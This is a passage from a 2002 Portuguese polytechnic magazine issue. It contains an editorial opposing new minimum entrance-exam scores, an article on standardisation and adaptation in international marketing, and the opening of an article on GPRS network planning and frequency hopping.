instituto superior politécnico gaya politécnica · secundário para essa selecção. daqui...
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I S P G AYA
Instituto Superior Politécnico Gaya
Investigação I Divulgação I Curiosidades
Politécnica
Semestral I Dezembro 2002
número
6
1
66 Politécnica
Editorial
A standarização e a adaptação: implicações na delimitação do conceito demarketing internacional
Carlos Simões Adegas
Planificação e implementação de redes Móveis 2,5GJustino M. R. Lourenço
A Governação como Alternativa ao Modelo GestionárioCarla Sofia Rocha
A opção pelo teletrabalho e suas repercursõesSílvia Oliveira Santos
A linguagem e a revalorização das subjectividadesAndré Veríssimo
Porquê Gestão do Conhecimento? Porquê agora?Anabela Sarmento
Programação seguraLuís Miguel Silva
Problemas e curiosidadesJoaquim Albuquerque de Moura Relvas
Seminários, Conferências, Workshops
Divulgação
Submissão de artigos
3
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13
15
23
27
33
37
45
49
50
52
Sumário
2
Director
Director Adjunto
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Comissão Científica
Marketing e Relações com o Exterior
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Editor
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Publicação semestral
Os artigos são da exclusiva responsabilidade dos seus autores.
As opiniões expressas pelos autores não representam
necessariamente posições da CEP.
João de Freitas Ferreira
José Manuel Moreira
Mário Dias Lousã
António Inácio do Carmo
Manuel Jorge Sá
Joaquim Moura Relvas
Armando Coelho Silva (Univ. Porto)
Maciel Barbosa (Univ. Porto)
João Álvaro Carvalho (Univ. Minho)
Ferreira da Silva (Univ. Porto)
Moura Relvas (ISPGaya)
Augusto Ferreira da Silva (ISPGaya)
Nelson Neves (ISPGaya)
José Manuel Moreira (ISPGaya)
Joaquim Agostinho (Univ. Porto)
José Duarte Santos
Andreia Reis
João de Freitas Ferreira
José Eduardo
Claret - Companhia Gráfica do Norte
Rua do Padrão 83
4415-284 Pedroso
Revista Politécnica nº 6
66 Politécnica
3
O Governo, através de uma Resolução do Conselho de
Ministros, comunicada em conferência de imprensa, a 07 de
Novembro de 2002, aprovou um novo regime de ingresso
no ensino superior, pelo qual determina que o candidato
obtenha, nas provas de ingresso, a classificação mínima de
95 pontos, numa escala de 0 a 200, com entrada em vigor a
partir do ano lectivo de 2004/2005.
Com este diploma, pretende o Governo promover a
qualidade do ensino superior, dignificar a tarefa docente e
garantir aos jovens portugueses igualdade de oportunidades
no acesso, sucesso académico no curso e êxito profissional
na vida activa. Neste ponto, andaram bem os governantes.
Todavia, deparamo-nos com algumas incongruências entre
as novas propostas e os métodos seguidos. Do mesmo
modo a data prevista para a entrada em vigor das alterações
agora aprovadas não nos parece adequada nem oportuna,
fazendo-nos prever consequências nefastas para o sistema
do ensino superior. Sobre estes pontos, incidirá a nossa
análise crítica e, a partir dela, seguir-se-ão algumas
sugestões que consideramos pertinentes.
1. A Resolução do Conselho de Ministros, apresentada
assim, sem qualquer fundamentação válida, parece mais a
resposta de um Governo acossado por alguma comunicação
social, sempre pronta para exigir a sua cabeça. O Governo
deveria ter começado por definir conceitos que estão
subjacentes a todo o processo, como o acesso e o ingresso,
e equacionar os problemas específicos com eles
relacionados. O “acesso” regula todo o sistema a montante
da entrada no ensino superior e esgota-se com a conclusão
do ensino secundário; o “ingresso” situa-se a jusante desse
processo, começa com a entrada no ensino superior e é
responsável por tudo aquilo que a ela diz respeito. Em nosso
entendimento, aceites estas definições, o regime de acesso
e ingresso no ensino superior há já muito que deveria ter
sido alterado de “modo a atribuir efectivamente às
instituições do ensino superior as condições necessárias para
exercerem directamente a sua competência na selecção e
seriação dos seus candidatos, como aliás se dispõe na Lei de
Bases do Sistema Educativo (LBSE), realizando elas próprias
as provas de ingresso que considerem adequadas à
frequência dos cursos que ministram”. (APESP, Alterações ao
Regime de Ingresso no Ensino Superior. 2002. Lisboa).
2. No entanto, mesmo mantendo-se o actual enquadramento
legal, a proposta de uma classificação mínima das provas de
ingresso prevista na alínea a) do art.º 24º do Decreto Lei não é
aceitável. Por um lado, torna-se aberrante que a mesma prova
assuma três valências, todas elas definitivas no desenho do
futuro do candidato, pois serve como exame nacional de
conclusão do ensino secundário (peso 30%), como
componente para o cálculo da média geral de ingresso (peso
de 35% a 50%) e, como prova eliminatória de acesso ao
ensino superior. Por outro lado, dado este cenário, a nota
mínima anula todo o trabalho do aluno e dos docentes no
ensino secundário. É pedagogicamente reprovável que a
classificação de uma única prova, que descura a reflexão e
avalia apenas a área cognitiva, se sobreponha à avaliação
contínua que é fruto de um trabalho de três anos, se baseia
em dezenas de testes e valoriza, através do contacto pessoal,
as atitudes, os comportamentos e o desenvolvimento das
capacidades intelectuais e humanas do candidato. Continua-
se a privilegiar 20% dos jovens que são dotados de
pensamento dedutivo e estão mais virados para a teoria, e
sacrifica-se 80% dos alunos que têm pensamento indutivo,
são experimentalistas e mostram o que valem nas bancadas
dos laboratórios.
3. Dentro do quadro que acabámos de analisar, convém
também interrogarmo-nos sobre a excelência pedagógica e
científica das provas de exame e a fiabilidade das respectivas
correcções e classificações.
Todos lamentamos que as classificações dos exames
nacionais de ingresso sejam inferiores às notas obtidas pelos
alunos na avaliação do secundário. Como acima referimos,
há um vasto campo de análise no secundário (atitudes,
comportamentos, capacidades) que escapa à classificação
obtida nas provas de ingresso. Iria realmente mal o nosso
Editorial
Alterações ao regime de ingressono ensino superior
JJooããoo ddee FFrreeiittaass FFeerrrreeiirraa
Presidente do Instituto Superior Politécnico GayaRua António Rodrigues da Rocha, 291, 341Santo Ovídio, 4400-025 Vila Nova Gaia
ensino, se, de facto, os resultados da avaliação contínua e a
classificação dos exames coincidissem. Admitem-se sempre
excepções, claro. Por outro lado, esquece-se que os alunos
oriundos das Escolas Secundárias, com cursos tecnológicos,
das Escolas Técnico-profissionais, das Escolas Profissionais e
dos Centros de Formação Profissional, vêem as suas
expectativas profundamente limitadas, pois são avaliados
apenas pela área científica, quando o esforço por eles feito
no secundário se repartiu, por igual, entre a sala de aulas e
o laboratório. Se a avaliação deve ser adequada aos
conteúdos e às metodologias utilizadas na formação,
convenhamos que algo está mal.
Por outro lado, pais, alunos, docentes e todos os
responsáveis pela vida escolar se interrogam acerca da
objectividade dos resultados dos exames nacionais. E é
legítima a sua apreensão. Esta funda-se no facto de 68,5%
dos alunos que interpuseram recurso à nota de Matemática
terem sido atendidos e terem visto a sua classificação
melhorada. Quando isto acontece numa disciplina do
domínio das ciências exactas, é mesmo de se duvidar da
objectividade e da fiabilidade daqueles resultados. E os
candidatos que nem sequer apresentam recurso?
4. Sabemos ser intenção do Governo promover, através
desta medida, a qualidade do ensino superior.
Reconhecemos também que a preparação do candidato à
entrada no ensino superior é elemento importante e até
determinante para uma carreira de sucesso na sua formação
científica e profissional. Mas também somos acérrimos
defensores de que a qualidade dos alunos não se afere à
entrada mas à saída do ensino superior. O diploma que lhes
é atribuído valida as suas capacidades no fim do curso,
mantendo, todavia, em aberto a necessidade de uma séria
formação contínua ao longo da vida. O verdadeiro diploma
ser-lhe-á passado pelo trabalho e autenticado pela própria
vida.
Aliás poderá perguntar-se: a taxa de sucesso no ensino
superior terá alguma relação com a nota de ingresso do
aluno? Terá o Ministério mandado fazer estudos sérios que
justifiquem a resolução agora aprovada em Conselho de
Ministros? Acreditamos que os candidatos com nota igual
ou superior a 150 pontos não tenham insucesso; mas
seguramente não andaremos longe da verdade se
admitirmos que um número razoável de candidatos com
classificação entre os 95 e os 140 pontos tenham insucesso
no ensino superior, como também admitimos que, pelo
contrário, um número elevado de alunos com nota inferior a
95 pontos consiga ser bem sucedido no ensino superior.
Faltam estudos rigorosos para podermos avaliar estas
situações.
5. Se as novas alterações ao regime de ingresso no ensino
superior forem promulgadas e entrarem em vigor,
auguramos consequências catastróficas para o tecido
empresarial e para a economia portugueses, a curto e a
médio prazo. Todos sabemos que as disciplinas mais
afectadas pelas notas negativas são a Matemática e a Física,
o que, a aplicar-se a Resolução agora aprovada, impedirá
cerca de 95% dos candidatos aos cursos de engenharia
Mecânica, Electrónica, Electrotécnica, Informática e aos
cursos de ciências exactas de entrarem no ensino superior.
Sendo certo que em Portugal só 20% dos alunos do
secundário frequentam cursos tecnológicos e profissionais e
que 80% seguem cursos gerais, enquanto na Alemanha a
situação se inverte (20% - cursos gerais, 80% - cursos
tecnológicos e profissionais), convém alterar esta tendência
rapidamente. Será que o Ministério o vai conseguir por este
processo? Não assistiremos antes ao triste espectáculo de
vermos gerações de jovens vocacionados para as
engenharias e para as ciências exactas abandonarem (o que
já vem acontecendo) estas áreas por medo da Matemática
e da Física e refugiarem-se amargurados em cursos gerais
que nada lhes dizem e que os conduzirão fatalmente ao
insucesso escolar e ao abandono?
Se o que se pretende com isto é purgar o ensino superior e
reduzir o número de licenciados no desemprego, o erro é
ainda mais grave. O número de alunos desmotivados nos
cursos gerais aumentará com prejuízo para os candidatos
4
aos cursos das engenharias. Se a falta de técnicos médios e
superiores nestas áreas já é gritante, de futuro acabará por
sufocar o desenvolvimento da nossa indústria. Precisamos
de reanimar o tecido industrial, para isso há que apostar na
formação de bons quadros superiores.
Há também quem diga que temos licenciados a mais em
Portugal. Nos cursos de humanidades acredito que sim;
mas, “Portugal é o país onde é menor a percentagem de
diplomados nas áreas das ciências exactas e tecnológicas
(Ciências Naturais, Matemática e Informática, Ciências
Médicas e Engenharia e Arquitectura). Com apenas 26% do
total de diplomados, está longe da maior parte dos
restantes (Dinamarca, 37%; Alemanha 48%; Espanha,
32%; França, 37%; Irlanda, 39%; Itália, 33%; Holanda,
31%; Áustria, 33%; Finlândia, 60%; Suécia, 47%; Reino
Unido, 36%)”. (Barreto, António, Tempo de Incerteza,
Relógio D’Água Editores, Lisboa 2002, pág. 40).
6. À guisa de conclusão, apresentamos as seguintes
sugestões:
a) Estudem-se e resolvam-se, primeiro, os problemas aqui
levantados e outros que possam estar subjacentes, e só
depois introduzam-se as alterações consideradas mais
pertinentes. Caso contrário, estaremos a crucificar
injustamente o ensino secundário e a comprometer o nosso
desenvolvimento industrial e a nossa economia.
b) “Já vai sendo tempo de considerarmos o Ensino
Secundário como um ciclo terminal, com objectivos próprios
e desligado do Ensino Superior. O acesso ao Ensino Superior
não deve ser determinado pelas classificações do Ensino
Secundário. (...) Deixemos ao Ensino Superior a possibilidade
de seleccionar os seus alunos, o que não impede as
instituições do Ensino Superior de, se assim o desejarem, se
servirem das classificações dos exames nacionais do Ensino
Secundário para essa selecção. Daqui resultariam benefícios
não só para o Ensino Secundário como para o Ensino
Superior” (Costa, A. (2002), Reforma do Secundário – O
défice de consistência e credibilidade in Correio da
Educação, nº 131, 02 de Dezembro).
66 Politécnica
5
c) A não se alterar o actual enquadramento legal,
concordamos que, transitoriamente, se exija a classificação
de 95 pontos como nota mínima de candidatura, mas que,
para os exames das provas de ingresso, se mantenha o
“percentil” em uso nos últimos anos.
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impacte potencial de certas variáveis ligadas a ambientes
que lhe são estranhos4 - uma vez que os padrões de
referência utilizados para tomar decisões em ambientes
pouco familiares são baseados na experiência, a qual é por
sua vez profundamente afectada pela cultura em que se
está inserido. Finalmente numa terceira e última instância,
a necessidade de coordenar e de integrar planos de
marketing parcelares - sejam eles nacionais ou regionais -
num plano mais amplo, adiciona um novo patamar de
complexidade ao marketing internacional.
Nestas circunstâncias, poderemos apontar como uma das
principais tarefas do marketing internacional a gestão das
variáveis controláveis (ou seja, o produto, o preço, a
promoção e os canais de distribuição), dentro dos
constrangimentos levantados pelos elementos incontroláveis
do mercado (concorrência, sistema político-legal,
desenvolvimento tecnológico, etc.), de tal forma que os
objectivos do marketing sejam alcançados.
A figura 15 procura precisamente esquematizar as tarefas
e dificuldades do marketing internacional. O círculo
interior representa a área de decisão do gestor de
marketing, ou seja as variáveis que ele controla. No
segundo círculo, estão caracterizados os factores
incontroláveis do ambiente doméstico que afectam os
negócios internacionais (por exemplo as políticas
domésticas sobre investimento no exterior, valor da divisa
nacional, etc.). O círculo exterior simboliza por seu turno
os constrangimentos ambientais presentes em cada
mercado estrangeiro em que a empresa mantém
negócios. Por fim, a representação de múltiplos círculos
exteriores, serve para ilustrar que cada país apresenta
geralmente problemas diferentes com as mesmas
variáveis6 e alerta ainda para a necessidade de coordenar
os diferentes planos de marketing.
A standardização e a adaptação:implicações na delimitaçãodo conceito de marketinginternacional
CCaarrllooss SSiimmõõeess AAddeeggaass11
PALAVRAS-CHAVE: marketing doméstico, marketing
internacional, marketing multinacional, marketing global,
dimensões do marketing internacional, adaptação,
standardização.
1. O “marketing doméstico” e o “marketing
internacional”
Escreveu Kotler que « ... o conceito de marketing afirma que
a chave para atingir os objectivos da organização consiste
em determinar as necessidades e desejos dos mercados-alvo
e satisfazê-los mais eficaz e eficientemente do que os
concorrentes ... »2 Significa isto que a essência do conceito
de marketing, consiste na criação de um valor para o
consumidor superior ao criado pelos concorrentes, o que
apenas pode ser obtido concentrando recursos e esforços
em necessidades e desejos bem definidos.
Ora, há que reconhecer que o marketing internacional é,
antes de mais, marketing. Como tal, envolve a mesma
filosofia, conceitos, actividades e processos, inerentes ao
marketing no mercado doméstico. Para Cateora (1987), o
marketing internacional difere apenas do doméstico pelo
facto das actividades de marketing tomarem lugar em mais
de um país.
Estas semelhanças não são porém suficientes para
esconder o grau de complexidade bastante superior do
marketing internacional3. Numa primeira instância, tal
complexidade resulta da própria natureza e influência das
variáveis presentes em cada um dos mercados
(constrangimentos do ambiente global). O facto de ter de
lidar com diferentes variáveis incontroláveis em cada país,
conduz-nos a uma segunda dificuldade. Isto é, a
incapacidade dos gestores de marketing em avaliar o
Este artigo procura comparar a essência do marketing
internacional face ao marketing doméstico, para depois
abordar as implicações das abordagens standardizadas,
adaptadas e contingenciais ao marketing internacional. Com
base nessas implicações são ainda analisadas os diferentes
significados com que o termo marketing internacional pode ser
utilizado.
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1 Licenciado em Gestão e Mestre em Gestão e Estratégia Industrial.Docente do ISPGaya e IPAM. Executive Manager de uma empresa deconsultoria.2 Kotler, P., Administração de marketing: Análise, planejamento,implementação e controle, Ed.Atlas, S. Paulo, 1993, p.46.3 «De todas as funções da gestão, existirão poucas dúvidas que omarketing é a mais afectada pelas operações internacionais» [Taggart eMcDermot 1993; p. 69].
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4 “Principio do relativismo do marketing” [Cateora 1987, p. 15].5 Adaptado de Cateora (1987), op. cit., p. 9.6 Isto implica que as soluções encontradas para fazer face a problemasnum dado país, não sejam directamente transponíveis para outros países.
8
2. A standardização do marketing internacional e suas
vantagens
Sendo certo que os princípios do marketing são universais e
consequentemente válidos em qualquer ponto do globo,
uma importante questão que se levanta ao nível do
marketing internacional, será a de saber se as estratégias e
programas de marketing deverão, ou não, ser também
universais.
Para os defensores de uma actuação multi-mercados
standardizada - dentre os quais, Theodore Levitt com o
seu famoso artigo sobre a globalização dos mercados7,
foi um dos expoentes máximos - a padronização das
actuações à escala global8 é uma forma excelente de
consolidar a competitividade-custo. Ou seja, alcançar
vantagens em termos de sinergias, economias de escala e
efeitos de curva de experiência, que quando
transportadas para o mercado na forma de preços mais
baixos, permitirão enfrentar melhor uma concorrência
global, cada vez mais baseada na eficiência e na
competitividade-preço.
O argumento para a standardização assenta por isso em
dois princípios basilares. Em primeiro lugar, na
homogeneização das necessidades por todo o mundo. Em
segundo lugar, na disposição dos consumidores para abdicar
de produtos mais de encontro às suas preferências, por
outros produtos de preço mais baixo e qualidade igualmente
elevada.
3. A adaptação do marketing internacional e as críticas
à standardização
Os defensores das abordagens situacionais, advogam por
sua vez que a adaptação das estratégias e programas de
marketing às características idiossincráticas dos mercados
nacionais, é uma condição necessária para a obtenção de
sucesso nesses mercados.
Numa análise ao artigo de Levitt, Kotler (1993) alerta que
enquanto a empresa procura minimizar custos via
standardização, existem concorrentes prontos a oferecer aos
clientes mais do que eles querem. Consequentemente, o
abandono de um pensamento de marketing de longo prazo,
por um pensamento financeiro de curto prazo pode ter
efeitos nocivos para a empresa.
Para Terpstra e Sarathy (1994), apesar da gestão ser
fortemente incentivada à standardização no sentido de
reduzir os custos e a própria complexidade da sua tarefa,
deverá ser a satisfação dos consumidores, a resposta à
competição e ainda as restrições locais, a circunscrever o
grau de standardização possível.
Analisando a literatura existente, Usunier (1993) concluiu
que o processo de globalização ocorre ao nível da
competição e não ao nível do comportamento dos
consumidores. Este autor cita mesmo um estudo de Harold
Clark (1987), para quem os consumidores não são eles
próprios globais; não compram marcas ou produtos globais9;
e o valor que atribuem às marcas é afectado pela
individualidade própria. Aliás, para Usunier, implícito à
globalização está mesmo o pressuposto que todos
convergimos para um “estilo de vida moderno”, implicando
consequentemente que o “estilo de vida americano” teria
um apelo universal - facto que considera controverso e
questionável.
Autores como Whitelock e Pimblet (1997) vão ainda um
pouco mais longe nas suas críticas. Para eles, a questão
crucial consiste não em saber se a padronização pode
conduzir a economias de custos, mas antes se pode
contribuir para melhorar a rendibilidade a longo-prazo, o
que nos remete por conseguinte para o complexo problema
de avaliar e quantificar as poupanças de custos, contra as
potenciais diminuições nas vendas provocadas pela não
Figura 1 - A tarefa do marketing internacional
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7 Levitt, T, “The globalization of markets”, Harvard Business Review, Vol.61 Nº3, (1983), p. 92-102.8 «A corporação global opera…como se o mundo inteiro (ou a maiorparte dele) fosse uma única entidade idêntica; ela faz e vende as mesmascoisas, sempre da mesma maneira, em todos os lugares» [Levitt 1990, p.36].
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9 Eles não se preocupam se a marca está ou não presente em qualqueroutro lugar do planeta
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9
determinação da standardização do
marketing internacional, uma vez que
a verdadeira questão não é adaptar ou
não adaptar, mas quanto adaptar
[Terpstra e Sarathy 1994, p. 190].
Assim, o grau de standardização,
variará num contínuum composto
pelos dois extremos anteriormente
analisados.
Wang (1996) propõe a este respeito
um modelo em que a extensão da
standardização é determinada a partir
dos três grupos de variáveis
contingênciais representados na Figura 212.
O ponto de partida deste modelo são então as
especificações das características do produto, ou seja, os
termos em que o produto é na realidade percebido e usado
pelos consumidores. Note-se por exemplo que um mesmo
produto pode satisfazer necessidades diferentes em
diferentes pontos do globo, assim como, também uma
mesma necessidade pode ser satisfeita, em diferentes
regiões, por diferentes produtos. Mas, mesmo que o
produto se destine a satisfazer uma necessidade global, será
pouco aconselhável desenvolver uma política de produto
standardizada sem atender às suas características, natureza,
ciclo de vida, padrões de consumo e de uso, custos de I&D,
papel do preço na aquisição, posicionamento, etc.
adaptação aos gostos locais.
Onkvisit e Shaw (1993) expressam uma opinião semelhante,
defendendo que os custos são muitas vezes confundidos
com os lucros e que a minimização dos custos não traduz
necessariamente um aumento dos lucros (se o produto não
se adequa ao mercado, não vende).
Resumindo, uma concentração elevada nos custos para
justificar a standardização e uma negligência de factores
como a gestão das marcas, o posicionamento, a promoção,
etc., indicia claramente uma orientação de produção e não
de marketing. Isto pode constituir um erro crasso perante
uma realidade competitiva cada vez mais feroz. A própria
evolução dos mercados no sentido de uma maior
sofisticação, torna até os consumidores mais exigentes,
podendo consequentemente induzir numa fragmentação
dos gostos e não na sua homogeneização10. A
standardização total é assim uma realidade que defronta
diversas barreiras (Tabela 111).
4. A abordagem contingencial à
standardização/adaptação
Bem analisados os dois pontos de vista opostos, podemos
concordar que «… não há lugar para posições extremistas
no posicionamento de marketing num contexto
internacional … A questão primordial passa por identificar
qual a estratégia de marketing que deve ser assumida de
forma a obter vantagens competitivas sustentadas, numa
base mundial ...» [Marques 1993, p. 23].
O “ser ou não ser” não será então relevante para a
Figura 2 - Variáveis contingênciais no estudo da standardização
Tabela 1 - Obstáculos à uniformização do marketing internacional
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10 Alguns autores falam até do micro-marketing, ou o marketing “one toone”. A este respeito leia-se por exemplo Peppers, D. e Rogers, M., Theone-to-one future, Doubleday, New York, 1993; ou ainda Hallberg, G., Allconsumers are not created equal, John Willey & Sons, New York, 1995.11 Adaptado de Terpstra, International dimensions of marketing, PWS-Kent, Boston-Massachusetts, 1988, p. 9.
____________________________________________________________________
12 Adaptado de Wang, “The degree of standardization: a contingencyframework for global marketing strategy development”, Journal ofGlobal Marketing, vol 10 (1), (1996), p. 91.
OObbssttááccuullooss àà PPrroodduuttoo PPrreeççoo DDiissttrriibbuuiiççããoo PPrroommooççããoouunniiffoorrmmiizzaaççããoo
FFaaccttoorreess Diferentes níveis Diferentes níveis Diferentes Disponibilidadeeeccoonnóómmiiccooss de rendimento de rendimento estruturas do retalho dos media
FFaaccttoorreess Gostos e hábitos Hábitos de negociação Hábitos Diferentes ccuullttuurraaiiss dos consumidores de preços de compra linguagens
e atitudes
FFaaccttoorreess Natureza dos produtos Preços e custos Monopólio dos Apelos eccoommppeettiittiivvooss existentes dos concorrentes canais pelos orçamentos dos
concorrentes concorrentes
FFaaccttoorreess Regulamentos Controlos de Restrições à Restrições àlleeggaaiiss acerca do produto preço distribuição publicidade
e aos media
10
Analisado o produto, é depois necessário identificar as
influências ambientais e os efeitos das características dos
países nos comportamentos dos consumidores.
Referirmo-nos aqui aos factores comuns a todos os
consumidores num dado país, como sejam, os padrões
culturais dominantes e homogeneidade cultural;
sistemas sociais, políticos e económicos; nível de
desenvolvimento económico e tecnológico; infra-
estruturas de marketing; distâncias físicas e psicológicas
entre os diferentes países; grau de alfabetização;
mobilidade da população; etc. O potencial para uma
maior standardização, será por conseguinte determinado
pelo grau de semelhança entre os países em que a
empresa está presente, ou seja, pelo grau de
sobreposição entre as variáveis incontroláveis presentes
em cada país (Figura 313).
Finalmente as similaridades entre países e diferenças dentro
dos países, necessitam de ser avaliadas para identificar os
segmentos de consumidores potenciais, em termos de
padrões atitudinais e comportamentais. À partida, nada
implica que consumidores de diferentes países com uma
mesma necessidade, tenham de ser satisfeitos do mesmo
modo. No entanto, o reconhecimento da existência de
segmentos globais de consumidores, pode justificar o
recurso a estratégias de marketing standardizadas para
esses segmentos.
5. A delimitação (dimensões) do marketing
internacional
Não obstante o termo “marketing internacional” ser
frequentemente utilizado de forma indistinta, é no entanto
possível reconhecer a existência de várias dimensões de
marketing internacional, com sentidos e amplitudes
diferentes, particularmente no que respeita à forma como a
questão da adaptação ou standardização da filosofia,
políticas e procedimentos é encarada e conduzida.
Tais dimensões variam desde o marketing internacional (em
sentido restrito) ao marketing global (figura 414).
5.1. Marketing internacional em sentido restrito
Segundo Felício (1996), esta dimensão considera os
mercados internacionais como complemento e extensão do
mercado doméstico. O exterior é todo ele entendido como
um mercado, ignorando-se em regra as diferenças e
particularidades de cada país, porquanto a perspectiva
essencial para a empresa é assegurar o escoamento dos
produtos ou serviços para fora do seu mercado doméstico
(país de referência).
As empresas com uma perspectiva de marketing
internacional (em sentido restrito) são etnocêntricas e
possuem um foco no mercado doméstico, servindo por
adição outros mercados nacionais (geralmente mercados a
curta distância física ou psicológica). Estamos portanto
perante a extensão do plano e estratégia de marketing
doméstico ao resto do mundo.
5.2. Marketing multinacional
Na dimensão multinacional, a empresa reconhece que os
mercados estrangeiros são pelo menos tão importantes
como o mercado doméstico. A unidade não é mais o
mercado externo como um todo, mas sim países (ou grupos
deles), aos quais correspondam mercados razoavelmente
____________________________________________________________________
13 Adaptado de Onkvisit e Shaw, International Marketing - Analysis &Strategy,MacMillan, New York, 1993, p. 5.
____________________________________________________________________
14 Adaptado de Felício, A., “Metodologia para elaboração da estratégiade marketing internacional - Uma abordagem”, Estudos de Gestão, Vol 3Nº1, (1996), p. 48.
Figura 3 - Efeitos ambientais no marketing mix
Figura 4 - As dimensões do marketing internacional
66 Politécnica
11
homogéneos a nível político, cultural, económico, social,
etc. Neste contexto, as particularidades de cada país
desaconselham vivamente a mera extensão das políticas
domésticas ao exterior. São por isso adoptadas para cada
unidade as estratégias tidas como mais adequadas.
Obviamente que quanto maior o número de unidades, mais
fragmentados serão os esforços de marketing e menores
serão as economias de escala. É assim fundamental um
cuidadoso planeamento e controlo, tendo em vista
maximizar a integração e as sinergias, enquanto se
minimizam os custos da adaptação a cada mercado
estrangeiro.
Resumindo, o marketing multinacional preconiza uma
estratégia para cada país (ou grupo deles) que responda às
condições e diferenças únicas de cada um.
5.3. Marketing global
Na sua visão dos acontecimentos, Levitt (1983) advogava
que os ímpetos convergentes da chamada “República da
Tecnologia” (provocada pelo progresso nas TIC-Tecnologias
de Informação e Comunicação, nos media e nos
transportes), ao homogeneizarem os gostos e as
preferências dos consumidores, conduziram à realidade
comercial dos mercados globais para bens globalmente
padronizados.
Esta perspectiva traduz-se na mudança de foco dos
mercados geográficos para os mercados de produtos (ou
seja, grupos de consumidores com necessidades comuns,
independentemente da área geográfica onde se localizam).
Resulta daqui que o marketing global encara o mundo
como sendo o único mercado, integrando portanto as
abordagens internacional e multinacional, e adoptando uma
estratégia genérica e global baseada em princípios de
standardização, com o objectivo de criar maior valor
acrescentado para os clientes e maior vantagem competitiva
para a empresa. Todavia, a questão crítica no marketing
global, está não em saber se os consumidores são os
mesmos em todo o lado, mas sim, em que medida existem
necessidades comuns nos diferentes países [Dahringer e
Mühlbacher 1991].
5.4. Marketing “glocal”
O conceito “glocal” defende que para terem sucesso, as
empresas necessitam de actuar globalmente adaptando os
produtos e serviços às situações de mercado locais. Para tal
muito contribuíram, entre outros aspectos, a crescente
flexibilização dos sistemas produtivos (redutora da
importância das economias de escala) e a lenta diminuição
dos custos de transporte nos últimos anos (incentivadora da
produção local).
Para Marques (1993), apesar da noção de “globalização de
forma especifica” parecer um tanto ou quanto paradoxal, o
sucesso de uma actuação global, exige a aplicação dos
conceitos globais de forma flexibilizante relativamente a
cada situação concreta15. Por outras palavras, a filosofia deve
permanecer global, mas a fidelização dos clientes deve ser
alcançada por intermédio de uma postura contingencial16.
Na realidade e como crítica ao conceito “glocal”, pode
apontar-se o facto de se tratar mais de uma mudança de
nome que propriamente de filosofia, já que nem mesmo a
globalização implica um completo desprezo pelas diferenças
locais (admite até, segundo os seus defensores, adaptações
ligeiras na implementação dos programas de marketing).
5.5. Para além das dimensões
Para finalizar esta caracterização das dimensões do
marketing internacional, refira-se que nem todos os autores
apoiam esta divisão. Por exemplo, Onkvisit e Shaw (1993),
defendem que as diferenças entre as dimensões são tão
subtis que para efeitos práticos se trata de uma distinção
sem diferença, que nem as próprias empresas efectuam. Isto
porque apesar de em sentido literal o termo “marketing
internacional”, significar marketing entre (inter) nações, tal
não implica necessariamente que a empresa não seja uma
cidadã global nem tão pouco que apenas opera a partir da
sua base doméstica.
A visão de Cateora (1987) a este propósito, é contudo um
pouco mais refinada. Este autor reconhece igualmente que
todas as dimensões se referem ao processo de marketing
em mais de um país - podendo, nesse sentido, ser usadas
indistintamente - porém, reconhece ainda a importância
desta diferenciação quando se pretende analisar a forma
como o marketing internacional é conduzido.
____________________________________________________________________
15 Como o expuseram Czinkota et al. (1994, p.445), « o pensamento globalexige flexibilidade na exploração numa base mundial de boas ideias eprodutos ».16 Repare a título exemplificativo no anúncio do Union Bank ofSwitzerland e Swiss Bank Corporation (UBS AG), publicado no FinancialTimes, de 21 de Julho de 1998, p. 21: «Having even more global resources,make us even more personal».
12
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66 Politécnica
13
informações localizadas de trânsito, etc.) levará ao
crescimento exponencial do trânsito de dados [Lourenço,
2000b].
O dimensionamento adequado da rede também se complica
sempre que os operadores tenham implementado nas suas
redes móveis a tecnologia de frequency hoping, que não é
compatível com o tráfego de dados no modo pacote do
GPRS.
3- As vantagens e desvantagens do frequency hoping
A tecnologia de frequency hopping (ver figura 2) permite
que durante uma chamada de voz, a frequência utilizada
na comunicação, seja dinamicamente alterada. Dentro de
um conjunto conhecido de frequências possíveis, a
comunicação vai “saltar” (hop) de frequência em
frequência.
Esta tecnologia permite um acréscimo na capacidade de
canais de voz numa determinada célula GSM. Supondo, a
título de exemplo que duas estações base (BTS) vizinhas
estejam a transmitir canais em cinco frequências distintas,
todas elas iguais excepto uma delas, embora exista um risco
de colisão nas frequências partilhadas, os efeitos são
minimizados com o salto (“hop”) constante na frequência
utilizada.
Planificação e implementação deredes Móveis 2,5G
Justino M. R. Lourenço
ISPGaya
Rua Rodrigues da Rocha, 291, 341
Santo Ovídio, 4400-025 Vila Nova Gaia
1- A evolução do tráfego nas redes móveis.
O contínuo e acentuado crescimento dos utilizadores de
redes móveis de comunicação tem acentuado o desafio do
correcto planeamento de rede.
Durante a “infância” da tecnologia GPRS over GSM a
optimização e planificação da rede não sofreu complicações
adicionais [Trillium, 1999] [Rysavy, 1998]. Contudo, à
medida que o tráfego de dados aumenta, surge a
necessidade dos operadores alocarem os seus recursos
rádios de uma forma mais eficiente.
Actualmente, a maior parte das estações base (BTS) são
utilizadas para tráfego de voz e dados em simultâneo
[Lourenço, 2000a]. A gestão da alocação dos recursos rádio
é feita duma forma dinâmica, com base nas necessidades
instantâneas dos utilizadores. Esta situação afecta a
optimização dos recursos rádio duma forma diferente.
2- Planeamento e optimização
De forma a garantir uma qualidade de serviço da rede em
padrões aceitáveis, e simultaneamente satisfazer as
exigências de voz e dados, complicam a estratégia de
planificação da rede.
Na figura 1, aparecem representadas em imagens distintas
as necessidades de canais de voz e de canais de dados numa
rede móvel.
Em especial, o aparecimento de cada vez mais, de novos
serviços locais (como a localização geográfica,
Este artigo faz uma apresentação das condicionantes no
planeamento das redes GPRS over GSM. As exigências
crescentes no tráfego de dados, levam a alterações e inovações
na forma como uma rede é planificada.
Figura 1 – Distribuição do trafego de voz e dados.
Figura 2 – Frequency Hoping.
14
A qualidade de serviço (QoS) também é melhorada ao
conseguirmos reduzir o fenómeno de fast fading, onde um
sinal decresce bruscamente de intensidade numa
comunicação. Este fenómeno é em especial mais sentido em
zonas geográficas mais congestionadas, em que o utilizador
chega a perder a chamada. O fast fading está associado a
obstruções, reflexões e refracções indesejadas que levam a
alterações rápidas da intensidade de sinal que chega ao
terminal móvel.
A utilização da tecnologia de hoping, permite um acréscimo
significativo de qualidade numa comunicação, isto porque a
mudança constante de frequência de comunicação, reduz o
tempo de permanência em frequências com fortes
interferências.
Esta tecnologia é especialmente valorizada em redes móveis
fortemente congestionadas, já que permite uma
maximização dos recursos rádios, e em simultâneo uma
melhor qualidade de serviço para uma determinada
disponibilidade de espectro radioeléctrico.
4- Dificuldades da tecnologia
Embora se tenha apresentado as vantagens da aplicação de
